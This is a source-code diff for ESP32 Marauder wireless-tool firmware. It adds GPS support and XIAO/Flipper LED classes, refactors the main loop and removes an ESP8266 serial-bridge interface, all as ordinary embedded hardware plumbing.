   #endif
 
@@ -339,6 +418,16 @@ void setup()
     delay(500);
   #endif
 
+  #ifdef HAS_GPS
+    gps_obj.begin();
+    #ifdef HAS_SCREEN
+      if (gps_obj.getGpsModuleStatus())
+        display_obj.tft.println("GPS Module connected");
+      else
+        display_obj.tft.println("GPS Module NOT connected");
+    #endif
+  #endif
+
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[8]));
   
@@ -357,7 +446,7 @@ void setup()
   //Serial.println(F("       By: justcallmekoko\n"));
   //Serial.println(F("--------------------------------\n\n"));
   
-  Serial.println("CLI Ready");
+  Serial.println(F("CLI Ready"));
   cli_obj.RunSetup();
 }
 
@@ -372,65 +461,76 @@ void loop()
   #endif
 
   // Update all of our objects
-  #ifdef HAS_SCREEN
+  /*#ifdef HAS_SCREEN
     bool do_draw = display_obj.draw_tft;
   #else
     bool do_draw = false;
-  #endif
+  #endif*/
   
-  if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
-  {
-    cli_obj.main(currentTime);
-    #ifdef HAS_SCREEN
-      display_obj.main(wifi_scan_obj.currentScanMode);
-    #endif
-    wifi_scan_obj.main(currentTime);
+  //if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
+  //{
+  cli_obj.main(currentTime);
+  #ifdef HAS_SCREEN
+    display_obj.main(wifi_scan_obj.currentScanMode);
+  #endif
+  wifi_scan_obj.main(currentTime);
+  //evil_portal_obj.main(wifi_scan_obj.currentScanMode);
 
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.forceSaveSerial();
-    #else
-      sd_obj.main();
-    #endif
+  #ifdef HAS_GPS
+    gps_obj.main();
+  #endif
+  
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.forceSaveSerial();
+  #elif defined(HAS_SD)
+    sd_obj.main();
+  #else
+    return;
+  #endif
 
-    #ifndef MARAUDER_FLIPPER
-      battery_obj.main(currentTime);
-      temp_obj.main(currentTime);
-    #endif
-    settings_obj.main(currentTime);
-    if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
-        (mini)) {
-      #ifdef HAS_SCREEN
-        menu_function_obj.main(currentTime);
-      #endif
-      #ifndef MARAUDER_FLIPPER
-        led_obj.main(currentTime);
-      #endif
-      //cli_obj.main(currentTime);
-    }
-      if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
-        web_obj.main();
+  #ifdef HAS_BATTERY
+    battery_obj.main(currentTime);
+    //temp_obj.main(currentTime);
+  #endif
+  settings_obj.main(currentTime);
+  if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
+      (mini)) {
     #ifdef HAS_SCREEN
-      delay(1);
-    #else
-      delay(50);
+      menu_function_obj.main(currentTime);
     #endif
+    //cli_obj.main(currentTime);
   }
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.main();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.main();
+  #else
+    led_obj.main(currentTime);
+  #endif
+
+  //if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
+  //  web_obj.main();
   #ifdef HAS_SCREEN
-    else if ((display_obj.draw_tft) &&
-             (wifi_scan_obj.currentScanMode != OTA_UPDATE))
-    {
-      display_obj.drawStylus();
-    }
+    delay(1);
+  #else
+    delay(50);
   #endif
-  else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
+  //}
+  /*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
     #ifdef HAS_SCREEN
       display_obj.main(wifi_scan_obj.currentScanMode);
       menu_function_obj.main(currentTime);
     #endif
-    #ifndef MARAUDER_FLIPPER
+
+    #ifdef MARAUDER_FLIPPER
+      flipper_led.main();
+    #elif defined(XIAO_ESP32_S3)
+      xiao_led.main();
+    #else
       led_obj.main(currentTime);
     #endif
+    
     //cli_obj.main(currentTime);
     delay(1);
-  }
+  }*/
 }

+ 0 - 135
esp32cam_marauder/esp_interface.cpp

@@ -1,135 +0,0 @@
-#include "esp_interface.h"
-
-HardwareSerial MySerial(1);
-
-void EspInterface::begin() {
-  pinMode(ESP_RST, OUTPUT);
-  pinMode(ESP_ZERO, OUTPUT);
-
-  delay(100);
-
-  digitalWrite(ESP_ZERO, HIGH);
-
-  Serial.println("Checking for ESP8266...");
-
-  MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
-
-  delay(100);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println("Checking for ESP8266...");
-  #endif
-
-  this->bootRunMode();
-
-  delay(500);
-
-  while (MySerial.available())
-    MySerial.read();
-
-  MySerial.write("PING");
-
-  delay(2000);
-
-  String display_string = "";
-
-  while (MySerial.available()) {
-    display_string.concat((char)MySerial.read());
-  }
-
-  display_string.trim();
-
-  Serial.println("\nDisplay string: " + (String)display_string);
-  
-  if (display_string == "ESP8266 Pong") {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.println("ESP8266 Found!");
-    this->supported = true;
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-
-  this->initTime = millis();
-}
-
-void EspInterface::RunUpdate() {
-  this->bootProgramMode();
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(true);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_GREEN);
-  
-    display_obj.tft.println("Waiting for serial data...");
-  
-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-}
-
-void EspInterface::bootProgramMode() {
-  Serial.println("[!] Setting ESP12 in program mode...");
-  digitalWrite(ESP_ZERO, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-  Serial.end();
-  Serial.begin(57600);
-}
-
-void EspInterface::bootRunMode() {
-  Serial.end();
-  Serial.begin(115200);
-  Serial.println("[!] Setting ESP12 in run mode...");
-  digitalWrite(ESP_ZERO, HIGH);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-}
-
-void EspInterface::program() {
-  if (MySerial.available()) {
-    Serial.write((uint8_t)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.print(".");
-    #endif
-    while (Serial.available()) {
-      MySerial.write((uint8_t)Serial.read());
-    }
-  }
-}
-
-void EspInterface::main(uint32_t current_time) {
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial.write("PING");
-  }
-  
-  while (MySerial.available()) {
-    Serial.print((char)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    MySerial.write((uint8_t)Serial.read());
-  }
-}

+ 0 - 35
esp32cam_marauder/esp_interface.h

@@ -1,35 +0,0 @@
-#ifndef esp_interface_h
-#define esp_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include <HardwareSerial.h>
-
-#define ESP_RST  14
-#define ESP_ZERO 13
-#define BAUD     115200
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class EspInterface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void RunUpdate();
-    void bootProgramMode();
-    void bootRunMode();
-    void begin();
-
-    void program();
-    void main(uint32_t current_time);
-};
-
-#endif

+ 3 - 0
esp32cam_marauder/flipperLED.cpp

@@ -68,3 +68,6 @@ void flipperLED::offLED() {
   digitalWrite(G_PIN, HIGH);
   digitalWrite(R_PIN, HIGH);
 }
+void flipperLED::main() {
+  // do nothing
+}

+ 1 - 0
esp32cam_marauder/flipperLED.h

@@ -16,6 +16,7 @@ class flipperLED {
 
   public:
     void RunSetup();
+    void main();
     void attackLED();
     void sniffLED();
     void offLED();

+ 2 - 0
esp32cam_marauder/libraries/GitHub - stevemarple-MicroNMEA- A compact Arduino library to parse NMEA sentences-.url

@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=https://github.com/stevemarple/MicroNMEA

+ 53 - 0
esp32cam_marauder/xiaoLED.cpp

@@ -0,0 +1,53 @@
+#include "xiaoLED.h"
+
+void xiaoLED::RunSetup() {
+    pinMode(XIAO_LED_PIN, OUTPUT);
+
+if (!settings_obj.loadSetting<bool>("EnableLED")) {
+    digitalWrite(XIAO_LED_PIN, HIGH);
+    return;
+}
+
+delay(50);
+
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(250);
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(250);
+  digitalWrite(XIAO_LED_PIN, LOW);
+  delay(500);
+  digitalWrite(XIAO_LED_PIN, HIGH);
+}
+
+void xiaoLED::attackLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(300);
+  digitalWrite(XIAO_LED_PIN, LOW);
+}
+
+void xiaoLED::sniffLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+  delay(300);
+  digitalWrite(XIAO_LED_PIN, LOW);
+}
+
+void xiaoLED::offLED() {
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(XIAO_LED_PIN, HIGH);
+}
+
+void xiaoLED::main() {
+  // do nothing
+}

+ 23 - 0
esp32cam_marauder/xiaoLED.h

@@ -0,0 +1,23 @@
+#ifndef xiaoLED_H
+#define xiaoLED_H
+
+#include "configs.h"
+#include "settings.h"
+
+#include <Arduino.h>
+
+#define XIAO_LED_PIN 21
+
+extern Settings settings_obj;
+
+class xiaoLED {
+
+    public:
+        void RunSetup();
+        void main();
+        void attackLED();
+        void sniffLED();
+        void offLED();
+};
+
+#endif  /* xiaoLED_H */

Некоторые файлы не были показаны из-за большого количества измененных файлов